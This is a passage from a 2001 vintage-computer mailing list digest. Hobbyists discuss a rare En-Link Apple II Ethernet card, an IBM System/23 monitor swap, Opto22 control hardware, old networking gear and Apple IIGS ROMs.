> From jim at calico.litterbox.com Mon Jun 25 21:28:35 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: from "Sellam Ismail" at Jun 25, 2001 04:55:00 PM Message-ID: <200106260228.UAA10354@calico.litterbox.com> http://lancegs.a2central.com/ Be warned, the guy who wrote marinetti is a real ass. He and his followers are one of the reasons I am getting out of the apple2 world. > > Just fyi, some bright spark in the apple2 world has created an > > aftermarket ethernet board for the apple2 bus. If anyone's interested > > enough I'll dig up the URL. If you have a GS, they've got a driver > > for the Marinetti tcpip stack, too. > > I think I remember some mentionings of someone making one a while back. > I'm definitely interested in the URL. > > An Apple ][ web server would be a kick :) > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From celt at chisp.net Mon Jun 25 22:05:12 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: <200106252116.PAA09021@calico.litterbox.com> Message-ID: <3B37FBE8.2080502@chisp.net> I've been drooling over the LanceGS card lately - gotta save up. What makes the En-Link unusual is its apparent release date (1984), meaning that it was specifically designed for the IIe (& II+ maybe?); the GS wasn't released until 86 or 87 (IIRC). Maybe the fact that the card cost almost as much as the computer it was designed for prevented mainstream acceptance. Skimming the doco on the LanceGS, it looks like that card is relatively new, having been released Sept last year. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository Jim Strickland wrote: > THe LanceGS was the card I was refering to. I don't know anything about > En-Link, but remember that when I was into Apple2s any mention of an > ethernet card was enough to make me salivate. Alas the lance GS came > out too late for me. > > >>I found a couple of Apple II Ethernet project sites with a quick Google >>search: >> >>http://aiiethernet.tripod.com/ >>http://lancegs.a2central.com/ >>http://www.apple2.org/AIIEthernet.html >> >>I was hoping to be able to play with this card I found though. None of >>the aforementioned sites mentions the En-Link. I get the idea that not >>many of these things sold, or possibly, were even made. >> >>Mike >> >>http://tarnover.dyndns.org/ >>Tarnover - The Apple II Repository >> >> >>Jim Strickland wrote: >> >> >>>Just fyi, some bright spark in the apple2 world has created an >>>aftermarket ethernet board for the apple2 bus. If anyone's >>>interested enough I'll dig up the URL. If you have a GS, >>>they've got a driver for the Marinetti tcpip stack, too. >>> >>> >>> >>>>On Mon, 25 Jun 2001, Michael Maginnis wrote: >>>> >>>> >>>> >>>>>Found a card in the local thrift store's '99-cent grab-box-o-cards', >>>>>labelled 'En-link Apple II Interface'. On the back is a rubber-stamped >>>>>'Protoype' label. A Google search turned up nothing - the only thing I >>>>>could find was an obscure reference to the board in my Softalk article >>>>>database: >>>>> >>>>>July 84, P 68 >>>>>'Marketalk News' >>>>> >>>>>"An Ethernet-compatible interface that can make the Apple an intelligent >>>>>terminal in a local-area network has been manufactured by En-Link (4706 >>>>>Bond Street, Shawnee, KS 66203; 913-268-6606). Utilizing current >>>>>standard LSI integrated circuits designed for Ethernet, the board >>>>>performs the necessary framing, retries, and error checking required of >>>>>the system. Other applications for the board include communication with >>>>>remote printers and terminals, $1,250. $750 each in quantities of 100 >>>>>or more." >>>>> >>>>> >>>>Damn! Bitchin find! >>>> >>>>Good luck finding the drivers though. Talk about obscure Apple II cards. >>>>Let us know if you ever come up with anything. >>>> >>>>Sellam Ismail Vintage Computer Festival >>>>------------------------------------------------------------------------------ >>>>International Man of Intrigue and Danger http://www.vintage.org >>>> >>>> >>>> >>> >> > > From celt at chisp.net Mon Jun 25 22:15:05 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: <3B376194.2050305@chisp.net> Message-ID: <3B37FE39.50700@chisp.net> Mike Ford wrote: >>>Found a card in the local thrift store's '99-cent grab-box-o-cards', >>>labelled 'En-link Apple II Interface'. On the back is a rubber-stamped >>> > > Go back to the store and turn the place inside out. Don't be coy, wave > money, and ask to look through ALL the floppies, manuals etc. they have > around. Don't delay. Ask if you can put a card up by the cash register etc. > offering to buy anything related. > > > Wow - are the related materials that hard to come by? I did ask the "computer" guy if he had anything more and he looked at me as though I was speaking a rare dialect of a long-dead language. After a few minutes of protocol negotiation, he explained that all he did was "plug them in and turn them on - if they work, I price them and put them on the shelf". The Apple this card came from was "dead", so he stripped out all the cards and put them out for sale. Everything else (manuals, floppies, everything) went to the compactor - he didn't have a way to test any of the floppies that came with the unit, so out they went... >sigh< He did let me root around their back room for a few minutes - scored a NeXT cube for a dollar. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From jim at calico.litterbox.com Mon Jun 25 22:18:56 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B37FBE8.2080502@chisp.net> from "Michael Maginnis" at Jun 25, 2001 09:05:12 PM Message-ID: <200106260318.VAA10513@calico.litterbox.com> Yup. It was. I was just starting to get out of A2 stuff when it came out, and given that the early drivers couldn't deal with routing (the brilliant (cough) tcp stack was the problem, actually, the subsequent driver codes around it) I couldn't bring myself to spend that much on a system I was decomissioning. It's still tempting, since I still have one GS that probably works in the basement... > > I've been drooling over the LanceGS card lately - gotta save up. What > makes the En-Link unusual is its apparent release date (1984), meaning > that it was specifically designed for the IIe (& II+ maybe?); the GS > wasn't released until 86 or 87 (IIRC). Maybe the fact that the card > cost almost as much as the computer it was designed for prevented > mainstream acceptance. Skimming the doco on the LanceGS, it looks like > that card is relatively new, having been released Sept last year. > > Mike > > http://tarnover.dyndns.org/ > Tarnover - The Apple II Repository > > Jim Strickland wrote: > > > THe LanceGS was the card I was refering to. I don't know anything about > > En-Link, but remember that when I was into Apple2s any mention of an > > ethernet card was enough to make me salivate. Alas the lance GS came > > out too late for me. > > > > > >>I found a couple of Apple II Ethernet project sites with a quick Google > >>search: > >> > >>http://aiiethernet.tripod.com/ > >>http://lancegs.a2central.com/ > >>http://www.apple2.org/AIIEthernet.html > >> > >>I was hoping to be able to play with this card I found though. None of > >>the aforementioned sites mentions the En-Link. I get the idea that not > >>many of these things sold, or possibly, were even made. > >> > >>Mike > >> > >>http://tarnover.dyndns.org/ > >>Tarnover - The Apple II Repository > >> > >> > >>Jim Strickland wrote: > >> > >> > >>>Just fyi, some bright spark in the apple2 world has created an > >>>aftermarket ethernet board for the apple2 bus. If anyone's > >>>interested enough I'll dig up the URL. If you have a GS, > >>>they've got a driver for the Marinetti tcpip stack, too. > >>> > >>> > >>> > >>>>On Mon, 25 Jun 2001, Michael Maginnis wrote: > >>>> > >>>> > >>>> > >>>>>Found a card in the local thrift store's '99-cent grab-box-o-cards', > >>>>>labelled 'En-link Apple II Interface'. On the back is a rubber-stamped > >>>>>'Protoype' label. A Google search turned up nothing - the only thing I > >>>>>could find was an obscure reference to the board in my Softalk article > >>>>>database: > >>>>> > >>>>>July 84, P 68 > >>>>>'Marketalk News' > >>>>> > >>>>>"An Ethernet-compatible interface that can make the Apple an intelligent > >>>>>terminal in a local-area network has been manufactured by En-Link (4706 > >>>>>Bond Street, Shawnee, KS 66203; 913-268-6606). Utilizing current > >>>>>standard LSI integrated circuits designed for Ethernet, the board > >>>>>performs the necessary framing, retries, and error checking required of > >>>>>the system. Other applications for the board include communication with > >>>>>remote printers and terminals, $1,250. $750 each in quantities of 100 > >>>>>or more." > >>>>> > >>>>> > >>>>Damn! Bitchin find! > >>>> > >>>>Good luck finding the drivers though. Talk about obscure Apple II cards. > >>>>Let us know if you ever come up with anything. > >>>> > >>>>Sellam Ismail Vintage Computer Festival > >>>>------------------------------------------------------------------------------ > >>>>International Man of Intrigue and Danger http://www.vintage.org > >>>> > >>>> > >>>> > >>> > >> > > > > > > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From cbhargava at hotmail.com Mon Jun 25 22:47:02 2001 From: cbhargava at hotmail.com (Chetan Bhargava) Date: Sun Feb 27 19:04:55 2005 Subject: Dallas module battery replacement... Message-ID: You can see http://www.bhargavaz.net/nvram/nvram.html Thanks +++++++++++++++++++++++++++++++++++++++ Hi all! Just curious, but are are the prices of these Sun NVRAM timer chips these days? I am looking for a replacement for the old SG Thompson M48T02 chip. Here in France they are on the order of $45-50!! What has happened to last year's $20-28 ? Are the Dallas chips identical to the ST ones, as concerns a Sun? --Ralph -- Dr. Ralph P. Sobek Disclaimer: The above ruminations are my own. Ralph.Sobek @ irit.fr sobek @ irit.fr http://beeline.to/genealogy/ Ph:(+33)[0]561556356 FAX:(+33)[0]561556847 http://www.irit.fr/~Ralph.Sobek/ =============================================================================== Estimates are that one-third to two-thirds of animal and plant species will disappear in forseeable future! AWFUL! SPAMMERS Beware: http://www.irit.fr/~Ralph.Sobek/welcome.shtml#Mail-Warning -------------------------------------------------------------------------------- _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From andyh at netcomuk.co.uk Mon Jun 25 23:13:15 2001 From: andyh at netcomuk.co.uk (Andy Holt) Date: Sun Feb 27 19:04:55 2005 Subject: classiccmp-digest V1 #639 In-Reply-To: <200106250451.XAA77425@opal.tseinc.com> Message-ID: <000201c0fdf6$52605140$4d4d2c0a@atx> > From: charles hobbs > Subject: Trip to London, want BBC Micro stuff... > This fall (Sept 29-Oct 3) I'll be in London...while I'm there, I'd like to > pick up some BBC Micro stuff (disk drives, software, etc. would be nice). ... > I know there are issues about charity shops selling electronic > equipment, though... Virtually no chance of finding such in a charity shop - much better chance at a boot fair (still not brilliant, but I tend to see Acorn stuff (Beeb/Master/Electron) at about 1 sale in 3 - Spectrums, Amigas, and STs are more common. Macs used never to be found, but I have seen quite a few recently. If you have use of a car I can let you know the locations of 4 or 5 big boot fairs in Essex. Get up early and you should be able to go round that many in a morning (most of them finish around midday). Andy From jeff.kaneko at juno.com Mon Jun 25 23:59:24 2001 From: jeff.kaneko at juno.com (jeff.kaneko@juno.com) Date: Sun Feb 27 19:04:55 2005 Subject: BIG haul of DEC docs! Message-ID: <20010626.000008.-4085317.1.jeff.kaneko@juno.com> Innovation is irrelevent. Freedom is irrelevent. Death is irrelevent. Resistance is futile. You will be assimilated. On Mon, 25 Jun 2001 21:04:30 -0500 Michael Passer writes: > Let's have a moment of silence for the Alpha, and for DEC. > > /me removes hat and bows head. > > ----- Original Message ----- > From: "Jeff Hellige" > To: > Sent: Monday, June 25, 2001 8:32 PM > Subject: Re: BIG haul of DEC docs! > > > . . . In addition, over the course > > of the next > > 3-4 years, Compaq will migrate all of its server-based > technologies > > (including OpenVMS, Tru64 and its Linux work) to the Itanium > platform.> > ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From wmsmith at earthlink.net Tue Jun 26 00:42:15 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? References: Message-ID: <009f01c0fe02$c1f4a7c0$33b1b2d1@Smith.earthlink.net> > I have no idea if all System/23 monitors are indentical, or similar, or > totally different. And obviously the decision on what to replace (and, > indeed where to get parts from) depends on that. > FWIW, they were different, even in the country of manufacture (Taiwan vs. U.S. [of all places]). For those interested in such things, I have posted pics at: http://home.earthlink.net/~wmsmith/5322Monitor.jpg the one I replaced, and: http://home.earthlink.net/~wmsmith/5324Monitor.jpg the replacement. -W From wmsmith at earthlink.net Tue Jun 26 01:53:15 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? References: Message-ID: <00cf01c0fe0c$b4c13f00$33b1b2d1@Smith.earthlink.net> > > > > There is nothing quite like thinking you are doing "a > > good thing" and being criticized for the "way" you are > > doing it. There's something inherently offensive about > > it. That's why so many states have passed so-called > > If this is aimed at me, and I think it most certainly, is, then you might > say so... Obviously, it was aimed in part at you, but you are not alone. You weren't the first to criticize my rehab methods so I thought it unfair to single you out. Perhaps it was chickenshit not to address you directly. Your comments were just the trigger. > > There's something that I find offensive too. And that is being flamed for > offering what I consider to be correct advice. Please remember that I > give my time, knowledge, and experience freely. If people here don't want > such advice, then tell me and I will leave. I've thought about leaving > several times due to being flamed for things like this. And I can assure > you that _I_ will not be the loser.... > Of course your advice is valued, extremely so, and my separate thanks for it was sincere. That advice did come, however, with a morsel of baggage. Consider, for a moment, your statement to me that you "have a major objection to 'whacking' anything near a CRT." Stipped to the essential message, it is excellent cautionary advice. The phrasing, however, and particularly the inclusion of "major objection," turns it into criticism. You could have said "I would be careful about 'whacking" anything near a CRT." Same advice; no criticism. (So, call me sensitive.) I think I understand the dangers of CRT implosion, and I tried to be careful. Placing a chisel firmly against the side of a brass washer on the outside of a heavy metal frame in which the CRT sits, well to the rear of the CRT, and then 'whacking" it with a hammer while bracing the unit, did not, in my view, imperil the CRT. The force was narrowly contained. Blame my imprecise description, which probably made it sound like I was taking wild hammer swings near the display. > > > "good Samaritan" laws, which prevent lawsuits such as > > malpractice actions against doctors who stop and give > > aid to accident victims. > > > > Do the same rules apply to collecting and attempting to > > fix computer equipment? > > Oh, for %deity's sake. Nobody is going to sue anybody, surely. > Clearly, you live across the pond. > > Today I posted some questions regarding an IBM S/23 I > > am trying to get working (VCF 5.0 is coming up fast). > > The 5322 unit I saved from a dumpster and found that > > the display was badly burned and feeble. A year and a > > half later I found someone who had a number of 5324 > > displays that he was going to pitch. I paid to have > > one of the displays shipped from St. Loius to L.A., so > > I could swap them. I suspected that this would work > > because the IBM part nos. for the internal display unit > > were identical. Today I swapped the displays, and it > > was mostly a success. But, I think I've offended some > > Also, you now say that the 2 monitor chassis assemblies have the same > part number. In this case, I think it's safe to assume they _are_ > compatible (in fact they might well be identical). So the height problem > is certainly not an incompatability. It's most likely a fault. > Not identical, as inicated separately, but I assume compatible. > In the circumstances, the first thing to try when the height is too low > is, most liklely, a tweak of the height control. To be honest, I'd > probably have tried that too But you said, "the last thing to do is tweak the adjustments." (knowing that a height controller, as > Now, as to what I would have done differently, had it been my machine.... > > My first thought would have been to swap the CRT only. Not the entire > monitor. For at least 2 reasons it's a good idea to replace as small a > part as possible. > I thought of this initially. The reason I didn't is because the yokes were glued on and the wiring from the yokes was soldered to the boards. Would have been a lot of effort. Granted, it is probably something I will now have to do in any case. > My second thought would be to look for faults when tweaking an adjustment > doesn't have the desired effect. > That is where I am at now. However, I still intend to do this, at this juncture, at the macro level by swapping the video boards. > OK, so you have a monitor that's not working right, how do you learn > about it? > > Well, I am going to assume that the manufacturer never provided a > schematic or component level repair manual. > That's right. I have the maintenance manuals. The solution given for every problem that cannot be solved by tweaking or moving the yoke is to replace the entire unit. > > Although I'm an engineer, I'm an ME and my electronics > > If 'ME' = Mechanical Engineer, It does. then I am even more suprised by the use of > a hammer. I've never used a hammer for any mechanical engineering that I > can remember. Well, my degree is 20 yrs. old and vestigal -- I work in the entertainment biz. :-| > But, more important that tools or test equipment, IMHO, is the ability to > think about what you are doing and to stop and think if there's a better > way to do it. Nobody is going to flame you for making a mistake. > Hopefully not, but it does happen. > > No, please carry on. The only way to learn is by doing things. And keep on > asking questions -- that's another good way to learn. > I will, and I hope you'll keep providing useful advice. > But bear in mind > that if you ask for advice it may not be what you want to hear. It may > help you in the end, though. > It did here, but also bear in mind that some of us are simply do not have the tools and knowledge to repair things at the component level -- yet. From pete at dunnington.u-net.com Tue Jun 26 02:16:05 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:55 2005 Subject: More free stuff... In-Reply-To: "Iggy Drougge" "Re: More free stuff..." (Jun 25, 14:20) References: <1996.576T2400T8606345optimus@canit.se> Message-ID: <10106260816.ZM1687@mindy.dunnington.u-net.com> On Jun 25, 14:20, Iggy Drougge wrote: > BTW, does anyone know anything about Bay networking systems? Who bought SynOptics, and were in turn bought by Nortel... > I once bought a big, white case at the fleamarket, which had been in service > at a power station. One label said "LAN BRIDGE REPEATER" or something to that > effect, and when I finally wedged it open, it seemed to be a VME system. The > "main" board had two 68020s, one at 16 and one at 20 or 24 MHz. The system > also had a floppy drive, which was accessed at startup, and spome status > lights. Other boards had several serial ports, AUI and some other ports which > I couldn't recognise. The case had once been rackmouted, and had the mounting > brackets still. Sounds quite similar to some of the older 3Com kit, such as the Netbuilder. I've not seen much old Bay Networks equipment, but if it's like the Netbuilder, then it was a modular device into which you could put various interfaces (on the Netbuilders, each has it's own processor, and the main board is used to provide management facilites). Mine has FDDI, 10baseFL, a couple of AUIs and BNCs for 10base2. It boots from a 4MB 3.5" ED floppy, and I use it as a router (depending on what you put in, it can be a repeater, bridge, or router). > Bay have since been bought by another companym which in turn has been bought > by yet another, which made finding information about it quite impossible. Why > do people feel such a desire to dismantle the web sites of conquered > companies? Standard problem :-( -- Pete Peter Turnbull Network Manager University of York From foo at siconic.com Tue Jun 26 02:53:47 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <200106260228.UAA10354@calico.litterbox.com> Message-ID: On Mon, 25 Jun 2001, Jim Strickland wrote: > http://lancegs.a2central.com/ Ugh, too much. I'll pass. > Be warned, the guy who wrote marinetti is a real ass. He and his > followers are one of the reasons I am getting out of the apple2 world. Yeah, yeah. Just ignore those punk-assed bitches. Are the apple2 newsgroups still as dynsfunctional as ever? Is that Anti-Christ Nathan still toturing everyone with his juvenile attitude? And is Turley still there annoying everyone who will give him attention? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Tue Jun 26 02:56:28 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B37FBE8.2080502@chisp.net> Message-ID: On Mon, 25 Jun 2001, Michael Maginnis wrote: > I've been drooling over the LanceGS card lately - gotta save up. What > makes the En-Link unusual is its apparent release date (1984), meaning > that it was specifically designed for the IIe (& II+ maybe?); the GS What makes you think that? The //c was announced in 1984. The //e was announced in 1981. There's a chance it might only work on later revision Apple //e's though. > wasn't released until 86 or 87 (IIRC). Maybe the fact that the card > cost almost as much as the computer it was designed for prevented > mainstream acceptance. Skimming the doco on the LanceGS, it looks like > that card is relatively new, having been released Sept last year. Yeah, I can't imagine any organization in 1984 would be so serious about the Apple ][ that they'd be spending $1,250 for an ethernet card for each Apple ][ to build a network of them. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Tue Jun 26 02:58:31 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B37FE39.50700@chisp.net> Message-ID: On Mon, 25 Jun 2001, Michael Maginnis wrote: > Wow - are the related materials that hard to come by? I did ask the > "computer" guy if he had anything more and he looked at me as though I > was speaking a rare dialect of a long-dead language. After a few > minutes of protocol negotiation, he explained that all he did was > "plug them in and turn them on - if they work, I price them and put > them on the shelf". The Apple this card came from was "dead", so he > stripped out all the cards and put them out for sale. Everything else > (manuals, floppies, everything) went to the compactor - he didn't have > a way to test any of the floppies that came with the unit, so out they > went... >sigh< Did you take some time to dispell this guy of his ignorance? You could make things much easier for you in the future by establishing a good working relationship with him. > He did let me root around their back room for a few minutes - scored a > NeXT cube for a dollar. Very nice. Sounds like a very nice thrift shop. I had one like that in my area that would regularly turn up something nice at least once a month but they closed down :( Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From djg at drs-esg.com Tue Jun 26 06:55:11 2001 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 19:04:55 2005 Subject: preserving / ressurecting old docs? Message-ID: <200106261155.HAA14292@drs-esg.com> From: Bill Bradford >On Fri, Jun 22, 2001 at 11:20:44PM -0400, David Gesswein wrote: >> My scans (and other peoples) >> http://www.pdp8.net/query_docs/query.shtml > >Thanks for the tips. Looks like you've already done quite a few of the >handbooks that I have - which will save some work. I'll also link to >your site from decdocs.org if thats okay with you. More links are always good. I was also planning to contact you about putting any 8 relevant docs in my database pointing to your site when you had them online. Also about the DEC copying notice >From ftp://ftp.dbit.com/pub/pdp8/doc/README >From the January 1985 Software Documentation Products Directory (EJ-26361-78), first page: 3. RIGHT TO COPY Beginning January 1, 1985, Digital customers are given a right to copy, at no charge, any Digital Archival Software Documentation Publication (excluding restricted or third party owned) that we no longer offer for sale. However, the copyright is retained as the exclusive property of Digital Equipment Corporation. David Gesswein http://www.pdp8.net/ -- Run an old computer with blinkenlights. From John.Honniball at uwe.ac.uk Tue Jun 26 07:14:23 2001 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:04:55 2005 Subject: Trip to London, want BBC Micro stuff... In-Reply-To: Message-ID: On Mon, 25 Jun 2001 18:40:44 +0100 (BST) Tony Duell wrote: > If anyone knows of shops in London (England) that sell old computer stuff, > could they let me know as well, please... I know some in the West Country, so if anyone's in the Bristol/Bath area, take a look at: 10-15 Music Exchange. They mainly sell records, Hi-fi and guitar amps, but they do have non-PC computers, too. Quite a few Amstrad PCWs and Apple Macs. There are three branches, in Bristol (Gloucester Road), Bath (Broad Street) and Weston-Super-Mare (Orchard Place). Tony, any sign of a secondhand chain called Cash Converters in the London area? The big Bristol branch has closed, but there may be others. -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From dhquebbeman at theestopinalgroup.com Tue Jun 26 07:17:31 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:55 2005 Subject: power control Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151211@jeffserver.tegjeff.com> > >But as I said, it depends on what you want to do. If all the devices are > >close together, a simple relay-driver + relays might is probably the > > Do you know what I mean by, the urge to engineer? It is the irresistable > force that makes us tinkering types want to make something instead of doing > it. ;) > > Maybe that is why I have ended up doing process control work so many times. > Its just fun to turn stuff on and off with the computer, and the bigger the > mess of stuff, the better. Hey, I used to do distribution centers: sortation conveyors, vertical and horizontal carousels, pick stations, etc. We used Quatech boards with Opto 22 modules stuffed in IBM PS/2 Model 80s which we stuffed in turn in big Hoffman cabinets, and, contrary to my specs, unventilated. They ran like gangbusters! We'd gone in to Rose's Distribution center down in Raleigh-Duram area, and found they had to keep a $250,000 inventory of spares *just* for the custom controllers they used. We figured it would be a lot cheaper to keep a couple Model 80s and some Quatech I/O boards around. We were told that if we botched the timing of the sortation conveyor, that the whole line could "explode"; the contractor said he'd seen conveyor rollers embedded in a warehouse ceiling, once... Lights going on and off, arms swinging lanes shut, packages shuttling off into other lanes, etc. Some of the most fun I've had in computing! And all on-topic, as everything described in the list is > 10years old. Regards, -doug q From jfoust at threedee.com Tue Jun 26 07:59:26 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? In-Reply-To: References: <001901c0fdc1$74de1200$9cc762d8@idcomm.com> Message-ID: <4.3.2.7.0.20010626075036.01e09330@pc> At 04:19 PM 6/25/01 -0700, Mike Ford wrote: >A very reasonable course of activity for me is to take the parts I need >from lesser systems, and scrap the remains, but I suspect like many on this >list I find that VERY hard to do. Instead of what odd bit did you add to >your collection, what was the last thing you tossed? And thus our hobby gradually deteriorates into madness. Time is money, space is money. I'm with you 110% on the madness of retaining and hoping to fix old PCs. I've worked hard to relieve myself of this affliction. You've got to draw a line and toss it out. Not everyone in the house needs a PC; I think I'm more happy with one PC in a central room where I can watch over the shoulder of the kids on the net. I may still extend the house's T-1 to the barn just for the fun of it, or maybe put a webcam on the sheep and chickens. Being frugal in most areas of life, I learned a lesson from the "Tightwad Gazette" books. You've got to value your time. You are saving and conserving in order to create time and capital to enjoy later. "Later" must come, or all your effort borders on pathology. Even if you value your time at $10 an hour, sooner or later you have probably spent enough time fixing that 486/66 to purchase a new PC with all the cards and 100x the features. Treat yourself to the new PC, you've earned it in other ways. - John From steven_j_robertson at hotmail.com Tue Jun 26 08:11:20 2001 From: steven_j_robertson at hotmail.com (Steve Robertson) Date: Sun Feb 27 19:04:56 2005 Subject: On Topic: power control Message-ID: >From: Mike Ford >Reply-To: classiccmp@classiccmp.org >To: classiccmp@classiccmp.org >Subject: Re: power control >Date: Mon, 25 Jun 2001 16:34:13 -0700 > > >But as I said, it depends on what you want to do. If all the devices are > >close together, a simple relay-driver + relays might is probably the > >Do you know what I mean by, the urge to engineer? It is the irresistable >force that makes us tinkering types want to make something instead of doing >it. ;) > >Maybe that is why I have ended up doing process control work so many times. >Its just fun to turn stuff on and off with the computer, and the bigger the >mess of stuff, the better. > You might consider OPTP22 devices. I'm currently working on a home automation project using OPTO22 technology. I have found them to be easy to interface, flexible, cost effective, and very reliable. The devices are controlled via a RS422 serial interface (easily converted to RS232) and drivers are available for a number of OSs including DOS, WINDOWS, and Linux. The protocols aren't that complex so writing your own driver, if one is not available, wouldn't be too difficult. Most of the work I've done so far is basic experimentation and prototyping. I currently have a OPTO22 controller interfaced to a HP 9000/832 running HP-UX 10.20. It can turn on and off a few lights, measure the temperature in the house, etc... All the collected data is captured into an Informix DB. The application(s) are written in PERL / CGI and I have put together a rudimentary web interface. I don't have a static IP otherwise, I'd publish the address so others could see the system in operation. My ultimate goal is to build an automated Printed Circuit Board drilling machine using a classic HP 3000 MPE computer running COBOL. I'm not sure if OPTO22 is suitable for that application or not, I'll need to do a lot more experimentation to make that determination. If it's too difficult, I may wind up using a STD BUS computer as a smart controller/interface between the drilling machine and the 3000. FWIW: All the hardware I'm running is over 10 years old so, it is on topic. With the exception of the 9000, most of it is closer to 20 years old. SteveRob _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From ethan_dicks at yahoo.com Tue Jun 26 08:45:51 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: Message-ID: <20010626134551.13642.qmail@web9503.mail.yahoo.com> --- Sellam Ismail wrote: > Yeah, I can't imagine any organization in 1984 would be so serious about > the Apple ][ that they'd be spending $1,250 for an ethernet card for each > Apple ][ to build a network of them. My sarcasm detector is pinging madly, but I wanted to add that this same organization probably also bought the Apple ][ mouse available about the same timeframe for over $250! It was an original 9-pin boxy Mac mouse and an Apple card. We added support for it for our line of children's software sold through Reader's Digest - Micro Mother Goose and (not sure since I didn't work on the product personally) Micro Habitats. The mouse was flat out the best controller for our "London Bridgeout" game within Micro Mother Goose. Just 'cuz ethernet cards are $9 now and mice sell for as little as $1 doesn't mean they always did. You gotta remember the 1% rule (although it applies more to systems than peripherals) - ten years later, you can get a computer for 1% of its original purchase price. There are exceptions, of course, and much later, say, twenty years, it's not as cheap as 1% anymore, but that's due to scarcity and eBay fever. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Tue Jun 26 09:03:02 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:56 2005 Subject: Old LAN/Router stuff (was Re: More free stuff...) In-Reply-To: <10106260816.ZM1687@mindy.dunnington.u-net.com> Message-ID: <20010626140302.13526.qmail@web9505.mail.yahoo.com> --- Pete Turnbull wrote: > On Jun 25, 14:20, Iggy Drougge wrote: > > > BTW, does anyone know anything about Bay networking systems? > > Who bought SynOptics, and were in turn bought by Nortel... > > > I once bought a big, white ..."LAN BRIDGE REPEATER" Does anyone out there have any bits from an old Cisco AGS+ router? I have one and it only has a quad low-speed serial interface (with these funky high-density connectors instead of proper V.35 ones). I just checked eBay - six months to a year ago, it was full of overpriced sales of AGS+ routers and parts (overpriced because I know that most places that bought the stuff new have been dumping it out the back door for free or next to free which is how I got mine). Now, they are so passe that even eBay has moved on. There are only a couple of routers for sale and one of them has been stripped of cards (but is at least only selling for $10). Inside, it's a combination Cisco bus for newer cards and Multibus for older cards. I do not have the Cisco bus adapter, so anything that I could put to use would have to be Multibus. Specifically, I am looking for a couple of ethernet ports. I only need the card and cables, but I'd consider an entire box if I had to. It's big; shipping is about equal to the value of the whole router, depending on how its equipped. Thanks, -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Tue Jun 26 09:07:17 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:56 2005 Subject: AppleIIGS Roms (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: Message-ID: <20010626140717.94222.qmail@web9501.mail.yahoo.com> --- Sellam Ismail wrote: > On Mon, 25 Jun 2001, Jim Strickland wrote: > > > http://lancegs.a2central.com/ > > Ugh, too much. I'll pass. Well... it's about 10x what I paid for my AppleIIGS, but I'm tempted. If I hadn't gotten off the Apple cart before the IIe, I'd probably be getting one, but I'd moved on by 1985 (traded up from the 6502 to the 68000 with the Amiga in 1986!) What I am curious about, though, is that since that webpage mentions the minimum system requirements for a GS as being ROM rev 1 or 3, and I know I have a rev 1, how could I go about getting a rev 3 ROM? Are they for sale anywhere? For download? Are they pin-compatible with a 2764/27128/27256? (I ask because I know in the Commodore line, the mask-programmed ROMs are *not* always JEDEC compatible, which is why I have a stash of 2532 